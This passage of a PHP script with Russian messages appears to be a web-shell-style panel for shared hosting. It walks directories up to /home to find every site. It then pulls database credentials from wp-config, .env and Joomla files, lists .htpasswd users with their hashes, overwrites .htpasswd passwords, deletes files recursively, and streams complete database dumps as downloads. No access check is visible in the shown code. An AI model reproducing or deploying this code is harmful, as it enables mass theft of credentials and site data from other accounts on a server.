    $site_root = isset($_POST['site_root']) ? trim($_POST['site_root']) : '';
    if (!$item_path) {
        echo json_encode(array('success'=>false,'error'=>'Путь не указан')); exit;
    }
    $real_item = realpath($item_path);
    $real_root = realpath($site_root);
    if (!$real_item || !$real_root || strpos($real_item, $real_root) !== 0) {
        echo json_encode(array('success'=>false,'error'=>'Доступ запрещён')); exit;
    }
    if (!is_writable($real_item) && !is_writable(dirname($real_item))) {
        echo json_encode(array('success'=>false,'error'=>'Нет прав на удаление')); exit;
    }
    $is_dir = is_dir($real_item);
    if ($is_dir) {
        $it = new RecursiveDirectoryIterator($real_item, RecursiveDirectoryIterator::SKIP_DOTS);
        $files = new RecursiveIteratorIterator($it, RecursiveIteratorIterator::CHILD_FIRST);
        foreach ($files as $file) {
            if ($file->isDir()) { @rmdir($file->getRealPath()); }
            else { @unlink($file->getRealPath()); }
        }
        if (!@rmdir($real_item)) {
            echo json_encode(array('success'=>false,'error'=>'Ошибка удаления папки')); exit;
        }
    } else {
        if (!@unlink($real_item)) {
            echo json_encode(array('success'=>false,'error'=>'Ошибка удаления файла')); exit;
        }
    }
    echo json_encode(array('success'=>true,'is_dir'=>$is_dir));
    exit;
}

// === AJAX: смена пароля ===
if (isset($_POST['action']) && $_POST['action'] === 'change_password') {
    up_to_safe_header('application/json; charset=UTF-8');
    $htpasswd_path = isset($_POST['htpasswd_path']) ? trim($_POST['htpasswd_path']) : '';
    $username      = isset($_POST['username'])      ? trim($_POST['username'])      : '';
    $new_password  = isset($_POST['new_password'])  ? $_POST['new_password']        : '';
    if (!$htpasswd_path || !$username || !$new_password) {
        echo json_encode(array('success'=>false,'error'=>'Не все параметры переданы')); exit;
    }
    if (!file_exists($htpasswd_path)) { echo json_encode(array('success'=>false,'error'=>'Файл не найден')); exit; }
    if (!is_writable($htpasswd_path)) { echo json_encode(array('success'=>false,'error'=>'Файл недоступен для записи')); exit; }
    $lines = @file($htpasswd_path, FILE_IGNORE_NEW_LINES);
    if ($lines === false) { echo json_encode(array('success'=>false,'error'=>'Не удалось прочитать файл')); exit; }
    $new_hash = apr1_md5($new_password);
    $found = false; $new_lines = array();
    foreach ($lines as $line) {
        $line = trim($line); if ($line === '') continue;
        if (strpos($line, ':') !== false) {
            list($u) = explode(':', $line, 2);
            if (trim($u) === $username) { $new_lines[] = $username.':'.$new_hash; $found = true; continue; }
        }
        $new_lines[] = $line;
    }
    if (!$found) { echo json_encode(array('success'=>false,'error'=>'Пользователь не найден')); exit; }
    $result = file_put_contents($htpasswd_path, implode("\n", $new_lines)."\n");
    if ($result === false) { echo json_encode(array('success'=>false,'error'=>'Ошибка записи')); exit; }
    echo json_encode(array('success'=>true,'new_hash'=>$new_hash));
    exit;
}

// === DB Dumper (из dumper.php) ===
function db_esc_ident($name) {
    return '`' . str_replace('`', '``', $name) . '`';
}
function db_sanitize_file_part($value) {
    $value = strtolower(trim($value));
    $value = preg_replace('/[^a-z0-9._-]+/', '-', $value);
    $value = trim((string) $value, '-');
    return $value !== '' ? $value : 'site';
}
function db_credentials_empty() {
    return array(
        'db_host'    => '127.0.0.1',
        'db_port'    => '3306',
        'db_name'    => '',
        'db_user'    => '',
        'db_pass'    => '',
        'db_charset' => 'utf8mb4',
    );
}
function parse_db_host_port($host) {
    $host = trim((string) $host);
    $port = null;
    if ($host === '') return array('127.0.0.1', null);
    if (preg_match('/^([^:]+):(\d+)$/', $host, $m) && strpos($host, '/') === false) {
        return array($m[1], $m[2]);
    }
    return array($host, null);
}
function merge_db_credentials($base, $overlay) {
    foreach ($overlay as $k => $v) {
        if ($v === null) continue;
        if (is_string($v) && $v === '' && $k !== 'db_pass') continue;
        $base[$k] = $v;
    }
    return $base;
}
function db_credentials_is_complete($creds) {
    return trim($creds['db_name']) !== '' && trim($creds['db_user']) !== '';
}
function db_credentials_from_wp($wp) {
    $c = db_credentials_empty();
    if (!empty($wp['DB_NAME']))     $c['db_name'] = $wp['DB_NAME'];
    if (!empty($wp['DB_USER']))     $c['db_user'] = $wp['DB_USER'];
    if (isset($wp['DB_PASSWORD']))  $c['db_pass'] = $wp['DB_PASSWORD'];
    if (!empty($wp['DB_CHARSET']))  $c['db_charset'] = $wp['DB_CHARSET'];
    if (!empty($wp['DB_HOST'])) {
        list($h, $p) = parse_db_host_port($wp['DB_HOST']);
        $c['db_host'] = $h;
        if ($p !== null) $c['db_port'] = $p;
    }
    return $c;
}
function db_credentials_from_env($env) {
    $map = array(
        'db_host'    => array('DB_HOST', 'DATABASE_HOST', 'MYSQL_HOST', 'DB_HOSTNAME'),
        'db_port'    => array('DB_PORT', 'DATABASE_PORT', 'MYSQL_PORT'),
        'db_name'    => array('DB_DATABASE', 'DB_NAME', 'DATABASE_NAME', 'MYSQL_DATABASE'),
        'db_user'    => array('DB_USERNAME', 'DB_USER', 'DATABASE_USER', 'MYSQL_USER'),
        'db_pass'    => array('DB_PASSWORD', 'DB_PASS', 'DATABASE_PASSWORD', 'MYSQL_PASSWORD'),
        'db_charset' => array('DB_CHARSET', 'DATABASE_CHARSET', 'MYSQL_CHARSET'),
    );
    $c = db_credentials_empty();
    foreach ($map as $field => $keys) {
        foreach ($keys as $key) {
            if (isset($env[$key]) && $env[$key] !== '') {
                if ($field === 'db_host') {
                    list($h, $p) = parse_db_host_port($env[$key]);
                    $c['db_host'] = $h;
                    if ($p !== null) $c['db_port'] = $p;
                } else {
                    $c[$field] = $env[$key];
                }
                break;
            }
        }
    }
    return $c;
}
function db_credentials_from_joomla($joo) {
    $c = db_credentials_empty();
    if (!empty($joo['db']))       $c['db_name'] = $joo['db'];
    if (!empty($joo['user']))     $c['db_user'] = $joo['user'];
    if (isset($joo['password']))  $c['db_pass'] = $joo['password'];
    if (!empty($joo['host'])) {
        list($h, $p) = parse_db_host_port($joo['host']);
        $c['db_host'] = $h;
        if ($p !== null) $c['db_port'] = $p;
    }
    return $c;
}
function site_db_credentials_from_parts($env_vars, $wp_vars, $joo_vars) {
    $creds = db_credentials_empty();
    if (!empty($wp_vars))  $creds = merge_db_credentials($creds, db_credentials_from_wp($wp_vars));
    if (!empty($env_vars)) $creds = merge_db_credentials($creds, db_credentials_from_env($env_vars));
    if (!empty($joo_vars)) $creds = merge_db_credentials($creds, db_credentials_from_joomla($joo_vars));
    return db_credentials_is_complete($creds) ? $creds : null;
}
function parse_db_config_snippet($text) {
    $text = (string) $text;
    if (trim($text) === '') return db_credentials_empty();

    $aliases = array(
        'db_host'    => array('DB_HOST', 'DB_HOSTNAME', 'DATABASE_HOST', 'MYSQL_HOST', 'host', 'hostname'),
        'db_port'    => array('DB_PORT', 'DATABASE_PORT', 'MYSQL_PORT', 'port'),
        'db_name'    => array('DB_NAME', 'DB_DATABASE', 'DATABASE_NAME', 'MYSQL_DATABASE', 'db', 'database', 'dbname'),
        'db_user'    => array('DB_USER', 'DB_USERNAME', 'DATABASE_USER', 'MYSQL_USER', 'user', 'username'),
        'db_pass'    => array('DB_PASSWORD', 'DB_PASS', 'DATABASE_PASSWORD', 'MYSQL_PASSWORD', 'password', 'passwd'),
        'db_charset' => array('DB_CHARSET', 'DATABASE_CHARSET', 'MYSQL_CHARSET', 'charset'),
    );

    $found = db_credentials_empty();
    foreach ($aliases as $field => $keys) {
        foreach ($keys as $key) {
            $val = null;
            $qk = preg_quote($key, '/');
            if (preg_match("/define\s*\(\s*['\"]".$qk."['\"]\s*,\s*['\"]([^'\"]*)['\"]\s*\)/i", $text, $m)) {
                $val = $m[1];
            } elseif (preg_match("/\\\$".$qk."\\s*=\\s*['\"]([^'\"]*)['\"]/i", $text, $m)) {
                $val = $m[1];
            } elseif (preg_match("/public\\s+\\\$".$qk."\\s*=\\s*['\"]([^'\"]*)['\"]/i", $text, $m)) {
                $val = $m[1];
            } elseif (preg_match("/['\"]".$qk."['\"]\\s*=>\\s*['\"]([^'\"]*)['\"]/i", $text, $m)) {
                $val = $m[1];
            } elseif (preg_match("/^\\s*".$qk."\\s*=\\s*['\"]?([^'\"\\s#;]+)['\"]?/im", $text, $m)) {
                $val = trim($m[1], "\"'");
            } elseif (preg_match("/^\\s*".$qk."\\s*=\\s*['\"]([^'\"]*)['\"]/im", $text, $m)) {
                $val = $m[1];
            }
            if ($val !== null) {
                if ($field === 'db_host') {
                    list($h, $p) = parse_db_host_port($val);
                    $found['db_host'] = $h;
                    if ($p !== null) $found['db_port'] = $p;
                } else {
                    $found[$field] = $val;
                }
                break;
            }
        }
    }
    return $found;
}
function dump_input_from_post() {
    return array(
        'db_host'    => isset($_POST['db_host'])    ? trim($_POST['db_host'])    : '127.0.0.1',
        'db_port'    => isset($_POST['db_port'])    ? trim($_POST['db_port'])    : '3306',
        'db_name'    => isset($_POST['db_name'])    ? trim($_POST['db_name'])    : '',
        'db_user'    => isset($_POST['db_user'])    ? trim($_POST['db_user'])    : '',
        'db_pass'    => isset($_POST['db_pass'])    ? (string) $_POST['db_pass'] : '',
        'db_charset' => isset($_POST['db_charset']) ? trim($_POST['db_charset']) : 'utf8mb4',
        'site_url'   => isset($_POST['site_url'])   ? trim($_POST['site_url'])   : '',
        'cms'        => isset($_POST['cms'])        ? trim($_POST['cms'])        : '',
        'notes'      => isset($_POST['notes'])      ? trim($_POST['notes'])      : '',
        'site_name'  => isset($_POST['site_name'])  ? trim($_POST['site_name'])  : '',
    );
}
function dump_database_stream($in) {
    if (!class_exists('mysqli')) {
        throw new Exception('Расширение mysqli недоступно на сервере');
    }
    if (!function_exists('deflate_init')) {
        throw new Exception('Требуется zlib (deflate_init) для .sql.gz');
    }
    foreach (array('db_host', 'db_port', 'db_name', 'db_user') as $req) {
        if (trim($in[$req]) === '') {
            throw new Exception('Не заполнено поле: ' . $req);
        }
    }

    mysqli_report(MYSQLI_REPORT_OFF);
    $db = mysqli_init();
    if ($db === false) throw new Exception('Не удалось инициализировать mysqli');

    $connected = $db->real_connect(
        $in['db_host'],
        $in['db_user'],
        $in['db_pass'],
        $in['db_name'],
        (int) $in['db_port']
    );
    if ($connected !== true) {
        throw new Exception('Подключение к БД не удалось: ' . mysqli_connect_error());
    }

    $charset = $in['db_charset'] !== '' ? $in['db_charset'] : 'utf8mb4';
    if (!$db->set_charset($charset)) {
        throw new Exception('Не удалось установить charset: ' . $db->error);
    }

    $tableList = $db->query('SHOW FULL TABLES WHERE Table_type = "BASE TABLE"');
    if ($tableList === false) throw new Exception('Не удалось получить список таблиц: ' . $db->error);
    $tables = array();
    while ($row = $tableList->fetch_row()) $tables[] = (string) $row[0];
    $tableList->free();

    $label = $in['site_url'];
    if ($label === '' && !empty($in['site_name'])) $label = $in['site_name'];
    $siteHost = parse_url($label, PHP_URL_HOST);
    if (!is_string($siteHost) || $siteHost === '') {
        $siteHost = $label !== '' ? $label : $in['db_name'];
    }
    $fileBase = db_sanitize_file_part($siteHost) . '_' . db_sanitize_file_part($in['db_name']);
    $fileName = $fileBase . '_' . gmdate('Ymd-His') . 'Z.sql.gz';

    header('Content-Type: application/gzip');
    header('Content-Disposition: attachment; filename="' . $fileName . '"');
    header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');
    header('Pragma: no-cache');

    $out = fopen('php://output', 'wb');
    if ($out === false) throw new Exception('Не удалось открыть поток вывода');

    $zip = deflate_init(ZLIB_ENCODING_GZIP, array('level' => 9));
    if ($zip === false) throw new Exception('Не удалось инициализировать gzip');

    $write = function ($line) use ($out, $zip) {
        $chunk = deflate_add($zip, $line, ZLIB_NO_FLUSH);
        if ($chunk === false) throw new Exception('Ошибка записи в gzip');
        fwrite($out, $chunk);
    };

    $write("-- Dump generated at " . gmdate('c') . "\n");
    if ($in['site_url'] !== '')   $write("-- Site URL: " . $in['site_url'] . "\n");
    if ($in['site_name'] !== '')  $write("-- Site: " . $in['site_name'] . "\n");
    if ($in['cms'] !== '')        $write("-- CMS: " . str_replace(array("\r", "\n"), ' ', $in['cms']) . "\n");
    if ($in['notes'] !== '')      $write("-- Notes: " . str_replace(array("\r", "\n"), ' ', $in['notes']) . "\n");
    $write("-- Database: " . $in['db_name'] . "\n\n");
    $write("SET NAMES " . $charset . ";\n");
    $write("SET FOREIGN_KEY_CHECKS=0;\n\n");

    foreach ($tables as $table) {
        $tableIdent = db_esc_ident($table);
        $write("-- ----------------------------\n");
        $write("-- Structure for " . $tableIdent . "\n");
        $write("-- ----------------------------\n");
        $write("DROP TABLE IF EXISTS " . $tableIdent . ";\n");

        $createRes = $db->query('SHOW CREATE TABLE ' . $tableIdent);
        if ($createRes === false) throw new Exception('SHOW CREATE TABLE ' . $table . ': ' . $db->error);
        $createRow = $createRes->fetch_assoc();
        if (!isset($createRow['Create Table'])) throw new Exception('Некорректный ответ SHOW CREATE TABLE: ' . $table);
        $write($createRow['Create Table'] . ";\n\n");
        $createRes->free();

        $write("-- ----------------------------\n");
        $write("-- Data for " . $tableIdent . "\n");
        $write("-- ----------------------------\n");

        $rowsRes = $db->query('SELECT * FROM ' . $tableIdent, MYSQLI_USE_RESULT);
        if ($rowsRes === false) throw new Exception('SELECT * FROM ' . $table . ': ' . $db->error);

        while ($row = $rowsRes->fetch_assoc()) {
            $cols = array();
            $vals = array();
            foreach ($row as $col => $val) {
                $cols[] = db_esc_ident((string) $col);
                $vals[] = $val === null ? 'NULL' : "'" . $db->real_escape_string((string) $val) . "'";
            }
            $write('INSERT INTO ' . $tableIdent . ' (' . implode(', ', $cols) . ') VALUES (' . implode(', ', $vals) . ");\n");
        }
        $rowsRes->free();
        $write("\n");
    }

    $write("SET FOREIGN_KEY_CHECKS=1;\n");
    $finalChunk = deflate_add($zip, '', ZLIB_FINISH);
    if ($finalChunk === false) throw new Exception('Не удалось завершить gzip');
    fwrite($out, $finalChunk);
    fflush($out);
    fclose($out);
    $db->close();
    exit;
}

if (isset($_POST['action']) && $_POST['action'] === 'parse_db_config') {
    up_to_safe_header('application/json; charset=UTF-8');
    $snippet = isset($_POST['config_snippet']) ? (string) $_POST['config_snippet'] : '';
    $parsed  = parse_db_config_snippet($snippet);
    echo json_encode(array(
        'success'  => true,
        'fields'   => $parsed,
        'complete' => db_credentials_is_complete($parsed),
    ));
    exit;
}

if (isset($_POST['action']) && $_POST['action'] === 'save_site_db_creds') {
    up_to_safe_header('application/json; charset=UTF-8');
    $site_path = isset($_POST['site_path']) ? trim($_POST['site_path']) : '';
    if (!$site_path || !@is_dir($site_path)) {
        echo json_encode(array('success' => false, 'error' => 'Некорректный путь сайта'));
        exit;
    }
    $creds = null;
    if (!empty($_POST['config_snippet'])) {
        $creds = parse_db_config_snippet((string) $_POST['config_snippet']);
    } elseif (!empty($_POST['db_creds']) && is_string($_POST['db_creds'])) {
        $decoded = json_decode($_POST['db_creds'], true);
        if (is_array($decoded)) $creds = merge_db_credentials(db_credentials_empty(), $decoded);
    }
    if (!$creds || !db_credentials_is_complete($creds)) {
        echo json_encode(array('success' => false, 'error' => 'Не удалось распознать db_name и db_user'));
        exit;
    }
    $site_name = isset($_POST['site_name']) ? trim($_POST['site_name']) : '';
    $states = load_site_states();
    $key = site_state_key($site_path, $site_name);
    if ($key === '') {
        echo json_encode(array('success' => false, 'error' => 'Не удалось определить ключ сайта'));
        exit;
    }
    site_state_touch_entry($states, $key, $site_path, $site_name);
    $states[$key]['db_creds'] = $creds;
    $states[$key]['updated'] = gmdate('c');
    if (!save_site_states($states)) {
        echo json_encode(array('success' => false, 'error' => 'Не удалось сохранить данные (проверьте права на запись: ' . site_state_file_path() . ')'));
        exit;
    }
    echo json_encode(array('success' => true, 'fields' => $creds));
    exit;
}

if (isset($_POST['action']) && $_POST['action'] === 'save_site_statuses') {
    up_to_safe_header('application/json; charset=UTF-8');
    $raw = isset($_POST['statuses']) ? (string) $_POST['statuses'] : '';
    $decoded = json_decode($raw, true);
    if (!is_array($decoded)) {
        echo json_encode(array('success' => false, 'error' => 'Некорректные данные статусов'));
        exit;
    }
    $current = load_site_statuses();
    foreach ($decoded as $key => $status) {
        $key = trim((string) $key);
        if ($key === '') continue;
        if (site_status_allowed((string) $status)) {
            $current[$key] = (string) $status;
        }
    }
    if (!save_site_statuses_map($current)) {
        echo json_encode(array(
            'success' => false,
            'error'   => 'Не удалось записать файл статусов: ' . site_status_file_path(),
        ));
        exit;
    }
    echo json_encode(array(
        'success'    => true,
        'count'      => count($current),
        'status_file'=> site_status_file_path(),
    ));
    exit;
}

if (isset($_POST['action']) && $_POST['action'] === 'dump_database') {
    try {
        dump_database_stream(dump_input_from_post());
    } catch (Exception $e) {
        up_to_safe_header('application/json; charset=UTF-8');
        echo json_encode(array('success' => false, 'error' => $e->getMessage()));
        exit;
    }
}

// === Определение директории сканирования ===
$current_dir = realpath(up_to_wp_runtime_base_dir());
$doc_root_raw = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '';
$root_dir     = $doc_root_raw ? (realpath($doc_root_raw) ?: $doc_root_raw) : $current_dir;

function dir_is_readable($path) {
    if (!$path || !@is_dir($path)) return false;
    return @scandir($path) !== false;
}

function find_public_html_in_path($start) {
    if (!$start) return null;
    $parts = explode('/', str_replace('\\', '/', trim($start, '/')));
    $path  = '';
    $markers = array('public_html', 'httpdocs', 'htdocs', 'www', 'web', 'html');
    foreach ($parts as $part) {
        if ($part === '') continue;
        $path .= '/' . $part;
        if (in_array(strtolower($part), $markers, true)) return $path;
    }
    return null;
}

function find_account_paths($current_dir, $root_dir) {
    $paths = array('account' => null, 'user_home' => null, 'public_html' => null);
    foreach (array($current_dir, $root_dir) as $start) {
        if (!$start) continue;
        if (preg_match('#^(/home/[^/]+)/([^/]+)#', $start, $m)) {
            if (!$paths['user_home']) $paths['user_home'] = $m[1];
            if (!$paths['account'])   $paths['account']   = $m[1] . '/' . $m[2];
        }
        $pub = find_public_html_in_path($start);
        if ($pub && !$paths['public_html']) $paths['public_html'] = $pub;
    }
    return $paths;
}

function path_is_deep_subfolder($path) {
    return (bool) preg_match('#/(wp-content|themes|plugins|mu-plugins|dist|vendor|node_modules|cache|uploads)(/|$)#i', $path);
}

function collect_scan_dir_candidates($current_dir, $root_dir) {
    $candidates = array();
    $account = find_account_paths($current_dir, $root_dir);

    if (!empty($_GET['scan_dir'])) {
        $manual = $_GET['scan_dir'];
        $candidates[] = realpath($manual) ?: $manual;
    }

    if (!empty($account['public_html'])) {
        $candidates[] = $account['public_html'];
    }
    if (!empty($account['account'])) {
        $candidates[] = $account['account'];
        $candidates[] = $account['account'] . '/domains';
        $candidates[] = $account['account'] . '/public_html';
    }
    if (!empty($account['user_home'])) {
        $candidates[] = $account['user_home'];
    }

    if ($root_dir) {
        $candidates[] = $root_dir;
        $parent = dirname($root_dir);
        if ($parent && $parent !== $root_dir) {
            $candidates[] = $parent;
        }
        $pub = find_public_html_in_path($root_dir);
        if ($pub) $candidates[] = $pub;
    }

    foreach (array($current_dir, $root_dir) as $start) {
        if (!$start) continue;
        for ($dir = $start, $i = 0; $i < 24 && $dir; $i++) {
            $candidates[] = $dir;
            if (in_array(strtolower(basename($dir)), array('public_html', 'httpdocs', 'htdocs', 'www'), true)) {
                $parent = dirname($dir);
                if ($parent && $parent !== $dir) {
                    $candidates[] = $parent;
                    $candidates[] = $parent . '/domains';
                }
            }
            $parent = dirname($dir);
            if (!$parent || $parent === $dir) break;
            $dir = $parent;
        }
    }

    $candidates[] = '/home';

    $unique = array();
    foreach ($candidates as $path) {
        if (!$path) continue;
        $real = @realpath($path);
        $key  = $real ?: $path;
        if (!isset($unique[$key])) $unique[$key] = $key;
    }
    return array_values($unique);
}

function score_scan_candidate($dir) {
    if (!dir_is_readable($dir)) return -1;
    $score = 0;
    $base = strtolower(basename($dir));
    if ($base === 'public_html') $score += 120;
    if ($base === 'domains')     $score += 100;
    if (preg_match('/^serwer\d+$/i', $base)) $score += 80;
    if ($base === 'platne' || $base === 'home') $score += 40;
    if (path_is_deep_subfolder($dir)) $score -= 80;

    $items = @scandir($dir);
    if ($items === false) return -1;
    $site_subdirs = 0;
    $skip = array('cgi-bin','lost+found','.well-known','tmp','cache','logs','.git','node_modules','vendor_backup');
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') continue;
        $full = $dir . '/' . $item;
        if (!@is_dir($full)) continue;
        if (in_array(strtolower($item), $skip, true)) continue;
        if (dir_looks_like_site($full)) $site_subdirs++;
    }
    $score += $site_subdirs * 15;
    if ($site_subdirs === 0 && dir_looks_like_site($dir)) $score += 12;
    return $score;
}

function resolve_scan_roots($current_dir, $root_dir) {
    if (!empty($_GET['scan_dir'])) {
        $manual = $_GET['scan_dir'];
        $path = realpath($manual) ?: $manual;
        return array($path);
    }

    $candidates = collect_scan_dir_candidates($current_dir, $root_dir);
    $scored = array();
    foreach ($candidates as $path) {
        $s = score_scan_candidate($path);
        if ($s >= 0) $scored[] = array('path' => $path, 'score' => $s);
    }
    usort($scored, function($a, $b) {
        if ($a['score'] !== $b['score']) return $b['score'] - $a['score'];
        return strlen($a['path']) - strlen($b['path']);
    });

    $account = find_account_paths($current_dir, $root_dir);
    $forced = array();
    if (!empty($account['public_html'])) $forced[] = $account['public_html'];
    if (!empty($account['account'])) {
        $forced[] = $account['account'];
        $forced[] = $account['account'] . '/domains';
    }
    if (!empty($account['user_home'])) $forced[] = $account['user_home'];
    if ($root_dir) $forced[] = $root_dir;

    $roots = $forced;
    $min_score = 5;
    foreach ($scored as $row) {
        if ($row['score'] < $min_score) continue;
        $roots[] = $row['path'];
    }
    if (count($roots) < 3) {
        foreach ($scored as $row) {
            $roots[] = $row['path'];
        }
    }

    $unique = array();
    $readable = array();
    foreach ($roots as $r) {
        if (!$r) continue;
        $key = @realpath($r) ?: $r;
        if (isset($unique[$key])) continue;
        $unique[$key] = true;
        if (dir_is_readable($r)) $readable[] = $r;
    }
    return array_slice($readable, 0, 10);
}

$scan_dir_tried = collect_scan_dir_candidates($current_dir, $root_dir);
$scan_roots     = resolve_scan_roots($current_dir, $root_dir);
$scan_dir       = !empty($scan_roots) ? $scan_roots[0] : ($root_dir ?: $current_dir);

// === Парсеры конфигов ===
function parse_env($path) {
    if (!@file_exists($path)) return array();
    $lines = @file($path, FILE_IGNORE_NEW_LINES|FILE_SKIP_EMPTY_LINES);
    if (!$lines) return array();
    $vars = array();
    foreach ($lines as $line) {
        $line = trim($line);
        if ($line===''||$line[0]==='#') continue;
        if (strpos($line,'=')!==false) { list($k,$v)=explode('=',$line,2); $vars[trim($k)]=trim(trim($v),"\"'"); }
    }
    return $vars;
}
function parse_wp_config($path) {
    if (!@file_exists($path)) return array();
    $content = @file_get_contents($path); if (!$content) return array();
    $vars = array();
    foreach (array('DB_NAME','DB_USER','DB_PASSWORD','DB_HOST','DB_CHARSET','DB_COLLATE') as $k) {
        if (preg_match("/define\s*\(\s*['\"]".$k."['\"]\s*,\s*['\"]([^'\"]*)['\"]\s*\)/i", $content, $m)) $vars[$k] = $m[1];
    }
    if (preg_match('/\$table_prefix\s*=\s*\'([^\']+)\'/',$content,$m)) $vars['table_prefix']=$m[1];
    return $vars;
}
function parse_joomla_config($path) {
    if (!@file_exists($path)) return array();
    $content = @file_get_contents($path); if (!$content) return array();
    $vars = array();
    foreach (array('db','host','user','password','dbprefix','log_path','tmp_path') as $k)
        if (preg_match("/public\s+\$$k\s*=\s*'([^']*)'/", $content, $m)) $vars[$k]=$m[1];
    return $vars;
}
function parse_htaccess($path) {
    if (!@file_exists($path)) return array();
    $content = @file_get_contents($path); if (!$content) return array();
    $result = array();
    if (preg_match('/AuthType\s+Basic/i',$content)) $result['auth_type']='Basic';
    if (preg_match('/AuthName\s+"([^"]+)"/i',$content,$m)) $result['auth_name']=$m[1];
    elseif (preg_match("/AuthName\s+'([^']+)'/i",$content,$m)) $result['auth_name']=$m[1];
    if (preg_match('/AuthUserFile\s+(\S+)/i',$content,$m)) $result['htpasswd_path']=$m[1];
    $protected=array();
    if (preg_match_all('/<Files\s+([^>]+)>/i',$content,$matches)) $protected=$matches[1];
    if (preg_match('/require\s+valid-user/i',$content)&&empty($protected)) $protected[]='* (весь сайт)';
    if (!empty($protected)) $result['protected_files']=implode(', ',$protected);
    return $result;
}
function parse_htpasswd($path) {
    if (!$path||!@file_exists($path)) return array();
    $lines = @file($path, FILE_IGNORE_NEW_LINES|FILE_SKIP_EMPTY_LINES); if (!$lines) return array();
    $users = array();
    foreach ($lines as $line) {
        $line=trim($line); if ($line===''||$line[0]==='#') continue;
        if (strpos($line,':')!==false) { list($u,$h)=explode(':',$line,2); $users[]=array('user'=>trim($u),'hash'=>trim($h)); }
    }
    return $users;
}
function find_nginx_config($site_name) {
    $paths = array('/etc/nginx/sites-enabled/'.$site_name,'/etc/nginx/sites-available/'.$site_name,
        '/etc/nginx/conf.d/'.$site_name.'.conf','/usr/local/nginx/conf/vhosts/'.$site_name.'.conf');
    foreach ($paths as $p) if (@file_exists($p)) return $p;
    foreach (array('/etc/nginx/sites-enabled','/etc/nginx/sites-available','/etc/nginx/conf.d') as $d) {
        if (!@is_dir($d)) continue;
        $files=@scandir($d); if (!$files) continue;
        foreach ($files as $f) {
            if ($f==='.'||$f==='..') continue;
            $fp=$d.'/'.$f; if (!@is_file($fp)) continue;
            $c=@file_get_contents($fp);
            if ($c&&stripos($c,$site_name)!==false) return $fp;
        }
    }
    return null;
}
function parse_nginx_config($path) {
    if (!$path||!@file_exists($path)) return array();
    $content=@file_get_contents($path); if (!$content) return array();
    $result=array('config_file'=>$path);
    if (preg_match('/auth_basic\s+"([^"]+)"/i',$content,$m)) $result['auth_basic']=$m[1];
    elseif (preg_match('/auth_basic\s+(\S+)/i',$content,$m)&&$m[1]!=='off') $result['auth_basic']=$m[1];
    if (preg_match('/auth_basic_user_file\s+(\S+);/i',$content,$m)) $result['auth_basic_user_file']=$m[1];
    if (preg_match('/server_name\s+([^;]+);/i',$content,$m)) $result['server_name']=trim($m[1]);
    return $result;
}
function detect_cms($dir) {
    $markers = array(
        'WordPress'            => array('wp-config.php','wp-login.php','wp-admin'),
        'WordPress (no config)'=> array('wp-login.php','wp-admin'),
        'Joomla'               => array('configuration.php','administrator'),
        'Joomla (no config)'   => array('administrator'),
        'Laravel'              => array('artisan','bootstrap/app.php'),
        'Opencart'             => array('config.php','admin/config.php'),
        'Drupal'               => array('sites/default/settings.php'),
        'Magento'              => array('app/etc/env.php'),
        'PrestaShop'           => array('config/settings.inc.php'),
        'Symfony'              => array('symfony.lock','bin/console'),
        'Yii2'                 => array('yii','config/web.php'),
        'Unknown (has .env)'   => array('.env'),
        'Static / Unknown'     => array('index.php','index.html'),
    );
    $found=array();
    foreach ($markers as $cms=>$files)
        foreach ($files as $file)
            if (@file_exists($dir.'/'.$file)) { $found[$cms]=true; break; }
    foreach (array('WordPress','Joomla','Laravel','Opencart','Drupal','Magento','PrestaShop','Symfony','Yii2') as $cms)
        if (isset($found[$cms])) return $cms;
    if (isset($found['WordPress (no config)'])) return 'WordPress (no config)';
    if (isset($found['Joomla (no config)']))    return 'Joomla (no config)';
    if (isset($found['Unknown (has .env)']))    return 'Unknown (has .env)';
    if (isset($found['Static / Unknown']))      return 'Static / Unknown';
    return 'Empty / Not a site';
}
function build_site_entry($name, $full) {
    $cms=detect_cms($full);
    $env_vars=parse_env($full.'/.env');
    $wp_vars=parse_wp_config($full.'/wp-config.php');
    $joo_vars=parse_joomla_config($full.'/configuration.php');
    $htaccess=parse_htaccess($full.'/.htaccess');
    $htpasswd_users=array(); $htpasswd_file='';
    if (!empty($htaccess['htpasswd_path'])) { $htpasswd_file=$htaccess['htpasswd_path']; $htpasswd_users=parse_htpasswd($htpasswd_file); }
    if (empty($htpasswd_users)) { $htpasswd_file=$full.'/.htpasswd'; $htpasswd_users=parse_htpasswd($htpasswd_file); }
    $nginx_path=find_nginx_config($name); $nginx_vars=parse_nginx_config($nginx_path);
    $domain_hint=''; $htaccess_raw=@file_get_contents($full.'/.htaccess');
    if ($htaccess_raw&&preg_match('/#\s*(?:домен|domain|site|сайт)\s*[:=]?\s*([^\s]+)/iu',$htaccess_raw,$m)) $domain_hint=$m[1];
    $db_creds = site_db_credentials_from_parts($env_vars, $wp_vars, $joo_vars);
    return array('name'=>$name,'path'=>$full,'cms'=>$cms,
        'has_env'=>!empty($env_vars),'has_wp_config'=>!empty($wp_vars),'has_joomla_config'=>!empty($joo_vars),
        'has_db_creds'=>!empty($db_creds),'db_creds'=>$db_creds,
        'has_index'=>@file_exists($full.'/index.php'),
        'env_vars'=>$env_vars,'wp_vars'=>$wp_vars,'joo_vars'=>$joo_vars,
        'htaccess_vars'=>$htaccess,'htpasswd_users'=>$htpasswd_users,'htpasswd_file'=>$htpasswd_file,
        'nginx_vars'=>$nginx_vars,'domain_hint'=>$domain_hint);
}

function dir_looks_like_site($dir) {
    $markers = array('wp-config.php','configuration.php','.env','index.php','artisan','wp-login.php');
    foreach ($markers as $file) {
        if (@file_exists($dir.'/'.$file)) return true;
    }
    return detect_cms($dir) !== 'Empty / Not a site';
}

function scan_sites($dir) {
    $sites=array(); $items=@scandir($dir);
    if ($items===false) return array('error'=>'Cannot read: '.$dir);
    $skip=array('cgi-bin','lost+found','.well-known','tmp','cache','logs','.git','node_modules','vendor_backup');
    foreach ($items as $item) {
        if ($item==='.'||$item==='..') continue;
        $full=$dir.'/'.$item;
        if (!@is_dir($full)) continue;
        if (in_array(strtolower($item),$skip,true)) continue;
        $sites[]=build_site_entry($item, $full);
    }
    if (empty($sites) && dir_looks_like_site($dir)) {
        $sites[]=build_site_entry(basename($dir) ?: 'site', $dir);
    }
    usort($sites,function($a,$b){
        $o=array('WordPress'=>1,'Joomla'=>2,'Laravel'=>3,'Opencart'=>4,'Drupal'=>5,'Magento'=>6,'PrestaShop'=>7,'Symfony'=>8,'Yii2'=>9);
